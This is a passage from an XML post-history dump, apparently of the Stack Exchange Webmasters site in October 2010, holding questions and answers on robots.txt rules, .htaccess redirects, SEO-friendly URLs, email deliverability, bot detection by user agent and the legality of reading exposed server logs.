&quot;/*/&quot; may or may not correctly used, all the &quot;Disallow: /INSERT_XYZ/*&quot; are wrong, all you need is &quot;Disallow: /INSERT_XYZ/&quot; &lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;&lt;ul&gt;(2) &quot;Disallow: /*?&quot; should be &quot;Disallow: /&quot; since the reference is to directories, not agents; with &quot;User-Agent: *&quot; that's correct, and &quot;User-Agent: /&quot; would be wrong. But since you want your site crawled in part, remove it.&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;&lt;ul&gt;(3) All the &quot;Disallow: /INSERT_XYZ&quot; should likely be &quot;Disallow: /INSERT_XYZ/&quot; if they're a reference to a directory.&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;Google's webpage for webmasters for Robots.txt is &lt;a href=&quot;http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=156449&amp;from=35237&amp;rd=1&quot;&gt;here&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;**NOTE:** You should also Google these meta-tags: &lt;a href=&quot;http://en.wikipedia.org/wiki/Noindex&quot;&gt;noindex&lt;/a&gt;, nofollow, noarchive, nocache&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7298" PostHistoryTypeId="2" PostId="3722" RevisionGUID="64df108d-b3e2-4646-8b23-131a2976d1a2" CreationDate="2010-10-11T15:19:27.320" UserId="2292" Text="You can also give www.moneybookers.com a try. They are based in Europe and are a competitor of PayPal. They do support ZAR for sure: http://www.moneybookers.com/app/help.pl?s=fees&#xD;&#xA;They are pretty decent, I've been having a personal account with them for quite some time." />
  <row Id="7299" PostHistoryTypeId="2" PostId="3723" RevisionGUID="e0d00d47-18ed-4fb4-ab2a-ca3df0a6fb76" CreationDate="2010-10-11T16:15:15.150" UserId="233" Text="For single-stage forms, I'd use a link. You can obtain the URL the user came from using the `REFERER` header and link 'Cancel' to that page. If the form is multi-stage, on the first stage set a cookie with the referrer URL and use that for the Cancel link.&#xD;&#xA;&#xD;&#xA;However, with a multi-stage form you may store partial data in the database. In this case, it's beneficial to use a *button*, which submits some kind of ID and can delete that data before redirecting back to where the user was. (Although you'd need to delete data periodically anyway in case the user closed their browser.)&#xD;&#xA;&#xD;&#xA;As John Conde pointed out, on submission of the form you should use a redirect in order to avoid the POSTDATA problem." />
  <row Id="7300" PostHistoryTypeId="2" PostId="3724" RevisionGUID="740d7a30-da80-4551-9277-30095a52b365" CreationDate="2010-10-11T16:24:55.440" UserId="1828" Text="I am an htaccess newbee&#xD;&#xA;&#xD;&#xA;I am trying to redirectthe old URLS for my site to the new URLS for my site.&#xD;&#xA;&#xD;&#xA;The old site used variables in the URL but the new site uses SEO friendly URLs&#xD;&#xA;&#xD;&#xA;When I try to redirect the old URL it is not being picked up and I get the 404 page instead.&#xD;&#xA;&#xD;&#xA;I'm not sure if teh SEO rewrite is interfering with the other rewrite condition&#xD;&#xA;&#xD;&#xA;How can I write the RewriteRule so that it redirects the old URL?&#xD;&#xA;&#xD;&#xA;    Options +FollowSymlinks RewriteEngine On&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^WEBADDRESS.co.uk    &#xD;&#xA;    RewriteRule (.*) http://www.WEBADDRESS.co.uk/$1 [R=301,L] RewriteRule ^(.+).html index.php?seo_title=$1 [nc]    &#xD;&#xA;    redirect 301 /WEBPAGE http://www.WEBADDRESS.co.uk/WEBPAGE.html&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^http://www.WEBADDRESS.co.uk/test/test.php?c=viewtest&amp;id=56&amp;sat=9&amp;mainsat=1&amp;start=0$ http://www.WEBADDRESS.co.uk/NEW_URL.html&#xD;&#xA;    &#xD;&#xA;    ErrorDocument 404 /PAGE_NOT_FOUND.html&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7301" PostHistoryTypeId="1" PostId="3724" RevisionGUID="740d7a30-da80-4551-9277-30095a52b365" CreationDate="2010-10-11T16:24:55.440" UserId="1828" Text="How can I rewrite an old URL using variables to a static html page?" />
  <row Id="7302" PostHistoryTypeId="3" PostId="3724" RevisionGUID="740d7a30-da80-4551-9277-30095a52b365" CreationDate="2010-10-11T16:24:55.440" UserId="1828" Text="&lt;seo&gt;&lt;htaccess&gt;" />
  <row Id="7303" PostHistoryTypeId="2" PostId="3725" RevisionGUID="e48b24c0-03e6-4f76-97dc-a0b04c02fe5d" CreationDate="2010-10-11T16:30:08.673" UserId="1828" Text="I have a site which changed from one shopping cart to another.&#xD;&#xA;&#xD;&#xA;Previously there was a htaccess file which redirected all teh old URLs to the homepage. &#xD;&#xA;&#xD;&#xA;I changed it to report a 404 for any URL not found on the website.&#xD;&#xA;&#xD;&#xA;Is it better to request these URLs be removed from googles index via webmaster or keep them and use a rewrite in the htaccess file?" />
  <row Id="7304" PostHistoryTypeId="1" PostId="3725" RevisionGUID="e48b24c0-03e6-4f76-97dc-a0b04c02fe5d" CreationDate="2010-10-11T16:30:08.673" UserId="1828" Text="Is it better to remove old URL from google via webmaster than 301 rewrite?" />
  <row Id="7305" PostHistoryTypeId="3" PostId="3725" RevisionGUID="e48b24c0-03e6-4f76-97dc-a0b04c02fe5d" CreationDate="2010-10-11T16:30:08.673" UserId="1828" Text="&lt;seo&gt;&lt;htaccess&gt;&lt;google-webmaster-tools&gt;" />
  <row Id="7306" PostHistoryTypeId="5" PostId="3705" RevisionGUID="7b4c4c97-d52b-4e54-ac97-8c68d6967425" CreationDate="2010-10-11T16:31:41.847" UserId="1064" Comment="Update in response to comments" Text="US federal law pertaining to [Fraud and related activity in connection with computers][1] suggests that it is unlawful to:&#xD;&#xA;&#xD;&#xA;&gt; intentionally access a computer&#xD;&#xA;&gt; without authorization or exceeds&#xD;&#xA;&gt; authorized access, and thereby obtain&#xD;&#xA;&gt; &#xD;&#xA;&gt; information contained in a financial&#xD;&#xA;&gt; record of a financial institution, or&#xD;&#xA;&gt; of a card issuer as defined in section&#xD;&#xA;&gt; 1602 (n) of title 15, or contained in&#xD;&#xA;&gt; a file of a consumer reporting agency&#xD;&#xA;&gt; on a consumer, as such terms are&#xD;&#xA;&gt; defined in the Fair Credit Reporting&#xD;&#xA;&gt; Act (15 U.S.C. 1681 et seq.); &#xD;&#xA;&gt; &#xD;&#xA;&gt; information from any department or&#xD;&#xA;&gt; agency of the United States; or &#xD;&#xA;&gt; &#xD;&#xA;&gt; information from any protected&#xD;&#xA;&gt; computer;&#xD;&#xA;&#xD;&#xA;Whether publicly-served log files are covered is really going to depend upon the information contained in the logs (i.e. if there are requests which include sensitive data) and the definition of &quot;protected computer&quot;.&#xD;&#xA;&#xD;&#xA;It's generally bad practice to expose log data, however, even if the logs do not clearly contain sensitive information, I'd say it is equally bad practice to go around reading other peoples' logs (even if it's not a criminal offense, you could still run afoul of a civil court if you're somehow using someone else's &quot;semi-private&quot; logs to your advantage).&#xD;&#xA;&#xD;&#xA;**Update:**&#xD;&#xA;&#xD;&#xA;Comments seem to be primarily focused on the definitions of legal terms and that's far beyond the scope of the answer - the judicial system [hasn't][2] figured it out yet, either.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.law.cornell.edu/uscode/18/1030.html&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Legality_of_piggybacking#United_States" />
  <row Id="7307" PostHistoryTypeId="2" PostId="3726" RevisionGUID="0c2e3ba9-2997-46e2-ad76-c48b22c33f17" CreationDate="2010-10-11T16:53:40.800" UserId="2294" Text="so something like doman.com\x\y\z\t and domain.com\x?var1=y&amp;var2=z&amp;var3=t (var1, var2 and var3 will be replaced by legit words that make more sense). &#xD;&#xA;&#xD;&#xA;which one is more seo-friendly? &#xD;&#xA;&#xD;&#xA;for my purpose, second one seems more convenient, because it's easy to manipulate. " />
  <row Id="7308" PostHistoryTypeId="1" PostId="3726" RevisionGUID="0c2e3ba9-2997-46e2-ad76-c48b22c33f17" CreationDate="2010-10-11T16:53:40.800" UserId="2294" Text="debating between different kinds of URL and see if one is more seo-friendly than other... " />
  <row Id="7309" PostHistoryTypeId="3" PostId="3726" RevisionGUID="0c2e3ba9-2997-46e2-ad76-c48b22c33f17" CreationDate="2010-10-11T16:53:40.800" UserId="2294" Text="&lt;seo&gt;" />
  <row Id="7310" PostHistoryTypeId="2" PostId="3727" RevisionGUID="1185b02e-3316-4fb2-af35-7323a497d909" CreationDate="2010-10-11T17:03:16.370" UserId="1757" Text="Removing them from Google doesn't solve the problem of people going to the old URL from bookmarks or links on other sites. It also doesn't transfer PageRank.&#xD;&#xA;&#xD;&#xA;You should be careful about site migrations/restructuring. Always plan ways to redirect users looking for old URLs. A 404 is the least ideal option to show users. And even then, it should be a custom 404 that has information on how to find the resource that they were looking for.&#xD;&#xA;&#xD;&#xA;There's really no point in deliberately removing a page from Google unless it's content that you don't want to be indexed. Otherwise, a simple 301 redirect will cause Google to update their index (remove the old link and add the new one) and transfer your PageRank as well. It's generally best to keep the 301 redirect up as long as possible (since you're not changing domains, you can keep it up indefinitely) so you don't lose as much traffic. And it also gives people time to update their bookmarks/links.&#xD;&#xA;&#xD;&#xA;That said, a custom 404 that informs the user that the resource has been moved to a new location would be better to get people to update their bookmarks/links, since a 301 is pretty transparent, and most people may not notice the redirect.&#xD;&#xA;&#xD;&#xA;Ideally there'd be a way to put up a &quot;301 *page*&quot; that tells both search engines/bots/browsers *and* people that the page has been moved to a new location. Because right now it's basically an either/or. You can either create a 301 that informs search engines/bots/browsers the page has been relocated, OR you can create a 404 that informs the user that the page has been relocated. But there's no easy way to do both." />
  <row Id="7311" PostHistoryTypeId="2" PostId="3728" RevisionGUID="c2bcb6a3-16ab-41ab-9d06-a82d1ac8ffdc" CreationDate="2010-10-11T17:11:51.980" UserId="770" Text="My service send sometimes mail, but it usually go to &quot;spam&quot; folder on gmail. Mail include only few sentences, without any link or images. Plain text. How could I beat that? (notice that I send mail with fake sender address, could it be main reason?)." />
  <row Id="7312" PostHistoryTypeId="1" PostId="3728" RevisionGUID="c2bcb6a3-16ab-41ab-9d06-a82d1ac8ffdc" CreationDate="2010-10-11T17:11:51.980" UserId="770" Text="How could I prevent my mail to be recognize as spam?" />
  <row Id="7313" PostHistoryTypeId="3" PostId="3728" RevisionGUID="c2bcb6a3-16ab-41ab-9d06-a82d1ac8ffdc" CreationDate="2010-10-11T17:11:51.980" UserId="770" Text="&lt;email&gt;&lt;spam&gt;&lt;mailing-list&gt;" />
  <row Id="7314" PostHistoryTypeId="2" PostId="3729" RevisionGUID="7a677005-f6fd-4409-a505-13948aad617b" CreationDate="2010-10-11T17:13:44.713" UserId="1161" Text="If your `from` address and the server address differ, that could result in spam. &#xD;&#xA;&#xD;&#xA;How are you sending the mail? ie, what programming language?" />
  <row Id="7315" PostHistoryTypeId="13" PostId="2311" RevisionGUID="cddaac72-5333-46c0-a4fd-3cdb4bf5ed48" CreationDate="2010-10-11T17:20:06.080" UserId="3" Text="[{&quot;Id&quot;:3,&quot;DisplayName&quot;:&quot;Jeff Atwood&quot;}]" />
  <row Id="7316" PostHistoryTypeId="13" PostId="3696" RevisionGUID="9bdb8468-e822-451d-b7f8-e5a8a17c2c61" CreationDate="2010-10-11T17:20:13.067" UserId="3" Text="[{&quot;Id&quot;:3,&quot;DisplayName&quot;:&quot;Jeff Atwood&quot;}]" />
  <row Id="7318" PostHistoryTypeId="2" PostId="3730" RevisionGUID="de6a8977-3eb8-46c9-a681-526004188b2c" CreationDate="2010-10-11T17:33:31.590" UserId="1253" Text="The first is more SEO friendly and more user friendly. However, you can have your URLs appear like the first but act like the second using mod_rewite. Any basic [mod_rewrite tutorial][1] will show you how to do it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?q=mod_rewite%20tutorial" />
  <row Id="7319" PostHistoryTypeId="2" PostId="3731" RevisionGUID="319a551a-99da-406c-b6b9-ee45d04d221c" CreationDate="2010-10-11T17:35:54.880" UserId="1253" Text="1) Don't use a fake address, that's reeks of spam&#xD;&#xA;&#xD;&#xA;2) Set up [DomainKeys][1] for your domain&#xD;&#xA;&#xD;&#xA;3) Set up [SPF][2] for your domain&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/DomainKeys&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Sender_Policy_Framework" />
  <row Id="7320" PostHistoryTypeId="2" PostId="3732" RevisionGUID="bbae22cd-4582-4638-9d74-9aaf32f7d0af" CreationDate="2010-10-11T17:44:38.447" UserId="1757" Text="First things first: are you sending spam (unsolicited mass email)? If you're not operating a strictly opt-in list that is carefully maintained, then you will end up spamming a lot of people, who will get annoyed with you and report you as a spammer (simply by clicking the &quot;mark as spam&quot; button).&#xD;&#xA;&#xD;&#xA;If you're already doing that, then you need to make sure you use an authenticated mail server that isn't being used by spammers. Also, setting up SPF as John Conde suggests will further verify that you're a legitimate mail sender since receivers can use reverse DNS to verify the sender is the owner of the domain the email is coming from.&#xD;&#xA;&#xD;&#xA;There are also content checkers that try to see if your email contains any spammy text, but as long as you're not writing stuff like &quot;FR3E VI4GR4!!! F4KE R013X&quot; in your emails, this isn't a big issue these days.&#xD;&#xA;&#xD;&#xA;Also, what volume of email are you sending? What is your opt-out policy? If you're on a large ISP with a decent tech support, you could consult them and see what they suggest. Usually legit web hosts have a vested interest in not getting their IP blacklisted as a spam source." />
  <row Id="7321" PostHistoryTypeId="2" PostId="3733" RevisionGUID="485209ea-1764-4340-b987-dce1718e0ca2" CreationDate="2010-10-11T17:54:17.107" UserId="1426" Text="If you know the equivalent URL in the new shopping cart, do a 301 redirect to that URL. This is good for users, as they end up at the right place; and good for SEO as robots will gradually update to the new URLs and you keep the Page Rank.&#xD;&#xA;&#xD;&#xA;If you don't know the equivalent URL, 404. Robots will gradually remove these URLs from their indexes, and you can provide some useful tools/info to users to help them find what they're after - e.g. a prominent search box on your 404 page.&#xD;&#xA;&#xD;&#xA;You should never redirect 'page not found' type requests to the homepage. This is bad for users (as they end up in the wrong place) and bad for robots (as they don't know that the URL they requested no longer exists)." />
  <row Id="7322" PostHistoryTypeId="2" PostId="3734" RevisionGUID="6120a518-ecca-449f-876e-3a0f6ae5a45f" CreationDate="2010-10-11T18:14:35.653" UserId="239" Text="[Patrick Mackenzie][1], of Bingo Card Creator fame, uses what I'll call micro-sites to dominate certain keywords.&#xD;&#xA;&#xD;&#xA;For example, search for &quot;[halloween bingo cards][2]&quot; and you'll see the first hit is http://www.halloweenbingocards.net which is a micro-site of a few pages of halloween specific content about bingo cards.&#xD;&#xA;&#xD;&#xA;If you search for &quot;[bone bingo cards][3]&quot;, you get a link to his main site with one page of content about bingo cards and the human skull.&#xD;&#xA;&#xD;&#xA;He owns the long tail on basically X + bingo cards, but went all out to build a custom site for the halloween bingo card search (note, the domain name almost guarantees this as a first hit in search results).&#xD;&#xA;&#xD;&#xA;If you had a bunch of long tail content sites, how would you figure out when it makes sense to pull one out and make it into it's own standalone site at a different url?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kalzumeus.com/&#xD;&#xA;  [2]: http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=halloween+bingo+cards&#xD;&#xA;  [3]: http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=halloween+bingo+cards#sclient=psy&amp;num=10&amp;hl=en&amp;safe=off&amp;q=bone+bingo+cards&amp;aq=f&amp;aqi=g-c4g-o1&amp;aql=&amp;oq=&amp;gs_rfai=&amp;pbx=1&amp;fp=5a996d56de453056" />
  <row Id="7323" PostHistoryTypeId="1" PostId="3734" RevisionGUID="6120a518-ecca-449f-876e-3a0f6ae5a45f" CreationDate="2010-10-11T18:14:35.653" UserId="239" Text="When is it time to make a &quot;micro&quot;-site for long-tail search content?" />
  <row Id="7324" PostHistoryTypeId="3" PostId="3734" RevisionGUID="6120a518-ecca-449f-876e-3a0f6ae5a45f" CreationDate="2010-10-11T18:14:35.653" UserId="239" Text="&lt;seo&gt;" />
  <row Id="7325" PostHistoryTypeId="2" PostId="3735" RevisionGUID="d665a0a5-3495-4df3-86e7-d0ec19c4a5da" CreationDate="2010-10-11T18:27:34.753" UserId="2293" Text="Per other replies, I understand that you want to get some beyond authentication page.&#xD;&#xA;&#xD;&#xA;Well, first you will need to log in, then access the page you need, and finally process the DOM iteration.&#xD;&#xA;&#xD;&#xA;You have curl as an option to handle requests, thus log in. Also you can use curl to get pages content.&#xD;&#xA;&#xD;&#xA;http://php.net/manual/en/book.curl.php&#xD;&#xA;&#xD;&#xA;http://devzone.zend.com/article/1081" />
  <row Id="7326" PostHistoryTypeId="2" PostId="3736" RevisionGUID="5f801672-f833-4e56-bf50-9bdc8b8fd167" CreationDate="2010-10-11T18:39:24.350" UserId="1253" Text="I wouldn't do this as it is unnecessary. For long tail search terms there's going to be so little competition that getting a special domain and building a whole new website for it is overkill. If you have pages optimized for those terms they're going to rank well anyway without having to go through the hassle of setting up a mini-site just for them. Besides, such long tail terms are going to deliver very little traffic anyway so why go through that effort for so little reward? Having them as subpages of a larger site will reap the same rewards with virtually no extra work. If you have a bunch of related products like his just put them all on one site, link your pages together liberally (but correctly), and promote them normally. You'll do just fine in the SERPs without the unnecessary overhead." />
  <row Id="7327" PostHistoryTypeId="2" PostId="3737" RevisionGUID="634fdff1-6cbb-4561-ad61-e34a9b38e31a" CreationDate="2010-10-11T18:59:17.083" UserId="2296" Text="**Importance.** Halloween and Christmas (yes, he owns that too) are large scale events and deserve additional focus as more people participate in them and are more likely to use them in keyword searches. This is opposed to bones/skulls which are more niche.&#xD;&#xA;&#xD;&#xA;As rankings get more competitive in the important spaces, the domain name may be the factor that pulls your site ahead." />
  <row Id="7328" PostHistoryTypeId="2" PostId="3738" RevisionGUID="49b55bf2-2a1a-4e36-9d44-bc82b8faeb93" CreationDate="2010-10-11T19:07:35.937" UserId="151" Text="Does the user agent in any regular browser contain 'bot' or 'crawl'?&#xD;&#xA;&#xD;&#xA;I check the user agent on my site to see if it is coming from a bot or not. If it is, I can do some little optimizations since they don't login. (I don't change the content at all)&#xD;&#xA;&#xD;&#xA;After adding checks for 30-40+ bots, I'm getting tired of added them. So I was wondering if checking if it just contains 'bot' or 'crawl'. I know that wont get all bots, but it would get a lot of them. But if that could cause any false positives, then it would totally mess up the ability to add to cart, place an order, and login in." />
  <row Id="7329" PostHistoryTypeId="1" PostId="3738" RevisionGUID="49b55bf2-2a1a-4e36-9d44-bc82b8faeb93" CreationDate="2010-10-11T19:07:35.937" UserId="151" Text="Does the user agent in any regular browser contain 'bot' or 'crawl'?" />
  <row Id="7330" PostHistoryTypeId="3" PostId="3738" RevisionGUID="49b55bf2-2a1a-4e36-9d44-bc82b8faeb93" CreationDate="2010-10-11T19:07:35.937" UserId="151" Text="&lt;user-agent&gt;" />
  <row Id="7331" PostHistoryTypeId="2" PostId="3739" RevisionGUID="35343106-9bbe-41fe-9ba6-4ccbc82be402" CreationDate="2010-10-11T19:11:56.100" UserId="480" Text="On top of @JohnConde's and DisgruntledGoat's advice (which is sound) I'd suggest showing breadcrumbs or similar to provide a useful 'back link' section (can also be generated server side by the refer(r)er).&#xD;&#xA;&#xD;&#xA;It eliminates ambiguity of the purpose of 'back', the user has had a visual clue (usually above the form) of where the system thinks they are (but in practice do not expect them to use the actual links there). POST/Redirect/GET stops the back button breaking, reinforcing this behaviour at all levels.&#xD;&#xA;&#xD;&#xA;A competing approach to this design, used on more cavalier sites and those frequented by 'power users', is to empower your users through links (or Ajax widgets) allowing them to manipulate the system and removing the concept of 'back' (although not removing features such as undo).&#xD;&#xA;&#xD;&#xA;Bottom line is that you'll (apart from in rare cases) want to either embrace 'back' or remove the need for it. Leaving it in limbo can scare users when it reacts in unpredictable ways." />
  <row Id="7332" PostHistoryTypeId="2" PostId="3740" RevisionGUID="727233a1-6e44-4d2a-a22a-d2cf6616a90c" CreationDate="2010-10-11T19:13:54.243" UserId="2296" Text="In addition to the other suggestions, set up Reverse PTR for your mail server's IP address." />
  <row Id="7333" PostHistoryTypeId="2" PostId="3741" RevisionGUID="bc928424-01d2-453b-9741-7bd6bd084ec8" CreationDate="2010-10-11T19:20:06.630" UserId="2288" Text="Been having issues with stackexchange creating weird usernames for me and grouping them with my account, it appears to be a &lt;a href=&quot;http://meta.serverfault.com/questions/353/when-i-try-to-log-in-with-my-openid-i-see-a-weird-user-name&quot;&gt;know issue&lt;/a&gt;, and emailed the stackexchange team... which leads me to my questions, I'm looking for usability studies of user authentication methods and interfaces, do you know of any?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7334" PostHistoryTypeId="1" PostId="3741" RevisionGUID="bc928424-01d2-453b-9741-7bd6bd084ec8" CreationDate="2010-10-11T19:20:06.630" UserId="2288" Text="Looking for usability studies of user authentication methods and interfaces, do you know of any?" />
  <row Id="7335" PostHistoryTypeId="3" PostId="3741" RevisionGUID="bc928424-01d2-453b-9741-7bd6bd084ec8" CreationDate="2010-10-11T19:20:06.630" UserId="2288" Text="&lt;security&gt;&lt;usability&gt;&lt;standards&gt;&lt;authentication&gt;&lt;research&gt;" />
  <row Id="7336" PostHistoryTypeId="2" PostId="3742" RevisionGUID="96e36bdf-58af-4ba2-beed-dd47cd04f39d" CreationDate="2010-10-11T19:42:04.243" UserId="302" Text="Many sites seem to require that their users enter their email and password twice during the registration process.  How useful is it really?  It seems it could be a pain in the neck for many users, for limited gains, no?&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;JDelage" />
  <row Id="7337" PostHistoryTypeId="1" PostId="3742" RevisionGUID="96e36bdf-58af-4ba2-beed-dd47cd04f39d" CreationDate="2010-10-11T19:42:04.243" UserId="302" Text="Confirm (enter twice) pw and email at registration - good idea?" />
  <row Id="7338" PostHistoryTypeId="3" PostId="3742" RevisionGUID="96e36bdf-58af-4ba2-beed-dd47cd04f39d" CreationDate="2010-10-11T19:42:04.243" UserId="302" Text="&lt;website-design&gt;" />
  <row Id="7339" PostHistoryTypeId="2" PostId="3743" RevisionGUID="136604a7-347f-4e77-8988-b65e2ac74b1f" CreationDate="2010-10-11T19:47:20.647" UserId="239" Text="[A/B test][1]!  &#xD;&#xA;&#xD;&#xA;If you are asking if more form fields reduce the number of signups, the answer is definitively yes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.youtube.com/user/FogCreekSoftware#p/u/1/pDQsfMZQ44A" />
  <row Id="7340" PostHistoryTypeId="2" PostId="3744" RevisionGUID="d957edc0-0c42-4217-adca-e6a4aa1e8963" CreationDate="2010-10-11T19:51:28.983" UserId="239" Text="I can tell you from our experience that OpenID is a giant impediment to signups.  I don't have hard numbers to back that up, only anecdotal advice from&#xD;&#xA;&#xD;&#xA; - complaints about openid on message boards any time a tangential reference to stackoverflow.com was mentioned&#xD;&#xA; - customer's insistence when stackexchange 1.0 was first released that a username/password auth method was critical&#xD;&#xA; - personal experience&#xD;&#xA;&#xD;&#xA;At the Business of Software 2010 conference, one of the attendees had done an A/B test to guage the adoption of OpenID vs. google, facebook, and username/password.  The only statistic I remember is that of the 1500 data points for signups, zero were from OpenID. &#xD;&#xA;&#xD;&#xA; " />
  <row Id="7341" PostHistoryTypeId="2" PostId="3745" RevisionGUID="c3068200-5d0c-4788-bd01-345b8241da4d" CreationDate="2010-10-11T19:52:45.037" UserId="2297" Text="Probably is a pain in the neck for users. But it improves the reliability of the data you're collecting. &#xD;&#xA;&#xD;&#xA;Its a trade off based on how important it is for you (and your users) to get the right data first time." />
  <row Id="7342" PostHistoryTypeId="2" PostId="3746" RevisionGUID="92f21ddd-649d-4158-b00c-3ffaf18d2f8f" CreationDate="2010-10-11T19:55:11.767" UserId="2298" Text="I'm developing a web application which contains banner ads, and I don't know how to teach my client to charge their customers for these banners. Can someone help with a book or business strategy?" />
  <row Id="7343" PostHistoryTypeId="1" PostId="3746" RevisionGUID="92f21ddd-649d-4158-b00c-3ffaf18d2f8f" CreationDate="2010-10-11T19:55:11.767" UserId="2298" Text="How charge for banner ads in a web application" />
  <row Id="7344" PostHistoryTypeId="3" PostId="3746" RevisionGUID="92f21ddd-649d-4158-b00c-3ffaf18d2f8f" CreationDate="2010-10-11T19:55:11.767" UserId="2298" Text="&lt;website-features&gt;&lt;banners&gt;" />
  <row Id="7345" PostHistoryTypeId="2" PostId="3747" RevisionGUID="1cb41d4f-b71f-4d8c-9475-560f6184baa7" CreationDate="2010-10-11T19:57:57.317" UserId="239" Text="This question from Stack Overflow should help: &quot;[Is there an online user agent database?][1]&quot;&#xD;&#xA;&#xD;&#xA;You could quickly scan the db, and find out (or import it).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/1457380/is-there-an-online-user-agent-database" />
  <row Id="7346" PostHistoryTypeId="5" PostId="3697" RevisionGUID="5ae12099-c3c1-42fc-9ca2-d38f6fe4edbf" CreationDate="2010-10-11T20:22:50.407" UserId="2288" Comment="deleted 28 characters in body" Text="It been a little over a month since &quot;Google Instant&quot; has been released to the public, what effect if any does &quot;Google Instant&quot; search have on SEO and SEM based?&#xD;&#xA;&#xD;&#xA;**RELATE LINK &gt;&gt; &quot;Google Instant&quot;:**&#xD;&#xA;http://www.google.com/instant&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7347" PostHistoryTypeId="5" PostId="3724" RevisionGUID="6d989991-96e9-495d-952e-587121a75153" CreationDate="2010-10-11T20:29:56.723" UserId="1828" Comment="typo cull anf clarifying description" Text="I am an htaccess newbee&#xD;&#xA;&#xD;&#xA;I am trying to redirect the old URLS for my site to the new URLS for my site.&#xD;&#xA;&#xD;&#xA;The old site used variables in the URL but the new site uses SEO friendly URLs.&#xD;&#xA;&#xD;&#xA;When I try to redirect the old URL, it is not w=redirecting and I get the 404 page instead.&#xD;&#xA;&#xD;&#xA;I am unsure if the SEO rewrite is the cause of the other rewrite condition failing.&#xD;&#xA;&#xD;&#xA;How can I write the RewriteRule so that it redirects the old URL?&#xD;&#xA;&#xD;&#xA;    Options +FollowSymlinks RewriteEngine On&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^WEBADDRESS.co.uk    &#xD;&#xA;    RewriteRule (.*) http://www.WEBADDRESS.co.uk/$1 [R=301,L] RewriteRule ^(.+).html index.php?seo_title=$1 [nc]    &#xD;&#xA;    redirect 301 /WEBPAGE http://www.WEBADDRESS.co.uk/WEBPAGE.html&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^http://www.WEBADDRESS.co.uk/test/test.php?c=viewtest&amp;id=56&amp;sat=9&amp;mainsat=1&amp;start=0$ http://www.WEBADDRESS.co.uk/NEW_URL.html&#xD;&#xA;    &#xD;&#xA;    ErrorDocument 404 /PAGE_NOT_FOUND.html&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7351" PostHistoryTypeId="4" PostId="3746" RevisionGUID="75204941-3855-400c-874c-303ea74f48c2" CreationDate="2010-10-11T22:05:28.177" UserId="108" Comment="edited title" Text="How to charge for banner ads in a web application" />
  <row Id="7352" PostHistoryTypeId="5" PostId="3728" RevisionGUID="c236ae37-32b4-43ff-994a-9cf46f670894" CreationDate="2010-10-11T22:08:08.660" UserId="108" Comment="added 15 characters in body; edited title" Text="My company sometimes send mail, but it usually goes to &quot;spam&quot; folder in gmail. The email includes only a few sentences, without any links or images. Just plain text. How can I fix this? (Notice that I send mail with fake sender address, could that be main reason?)." />
  <row Id="7353" PostHistoryTypeId="4" PostId="3728" RevisionGUID="c236ae37-32b4-43ff-994a-9cf46f670894" CreationDate="2010-10-11T22:08:08.660" UserId="108" Comment="added 15 characters in body; edited title" Text="How could I prevent my mail from being recognized as spam?" />
  <row Id="7354" PostHistoryTypeId="5" PostId="3712" RevisionGUID="a5b10bfe-8d52-44a1-a440-6d8641ba96fb" CreationDate="2010-10-11T22:19:36.343" UserDisplayName="morpheous" Comment="deleted 30 characters in body" Text="I noticed recently that Google is not caching all of the pages on my website. Upon using the Google webmaster diagnostic tool, I realized that some of my pages were being restricted by entries in my robots.txt file.&#xD;&#xA;&#xD;&#xA;I know some people may frown on the use of wild cards etc, but my web framework generates dynamic URLs - so there is no otherway of 'pattern matching' a set of Urls.&#xD;&#xA;&#xD;&#xA;I have included both my robots.tx and a list of the ignored URLs here. Hopefully, someone can spot the rule(s) that are restricting Googlebots access to the URLs.&#xD;&#xA;&#xD;&#xA;First of all, here is a (truncated) list of restricted URLs:&#xD;&#xA;&#xD;&#xA;    URL Detail Detected&#xD;&#xA;    http://www.example.com/community/groups/cat-lovers-united.html?filter=events URL restricted by robots.txt 10/4/10&#xD;&#xA;    http://www.example.com/community/knowledge-center/questions/newbie/1/how-to-love-your-cat.html URL restricted by robots.txt 10/4/10&#xD;&#xA;    http://www.example.com/community/news/comments/1 URL restricted by robots.txt 10/4/10&#xD;&#xA;    http://www.example.com/feeds/blogposts?request_type=comments&amp;id=2 URL restricted by robots.txt 10/4/10&#xD;&#xA;    http://www.example.com/news/106/related-headlines?page=1 URL restricted by robots.txt 10/2/10&#xD;&#xA;    http://www.example.com/news/search?category=agriculturals&amp;keywords=argentina URL restricted by robots.txt 10/6/10&#xD;&#xA;    http://www.example.com/news/submissions/list?site=ibnlive.in.com URL restricted by robots.txt 9/30/10&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here is my robots.txt file:&#xD;&#xA;&#xD;&#xA;    User-Agent: *&#xD;&#xA;    Disallow: /api&#xD;&#xA;    Disallow: /api/&#xD;&#xA;    Disallow: /logout&#xD;&#xA;    Disallow: /logout/&#xD;&#xA;    Disallow: /login&#xD;&#xA;    Disallow: /login/&#xD;&#xA;    Disallow: /registration&#xD;&#xA;    Disallow: 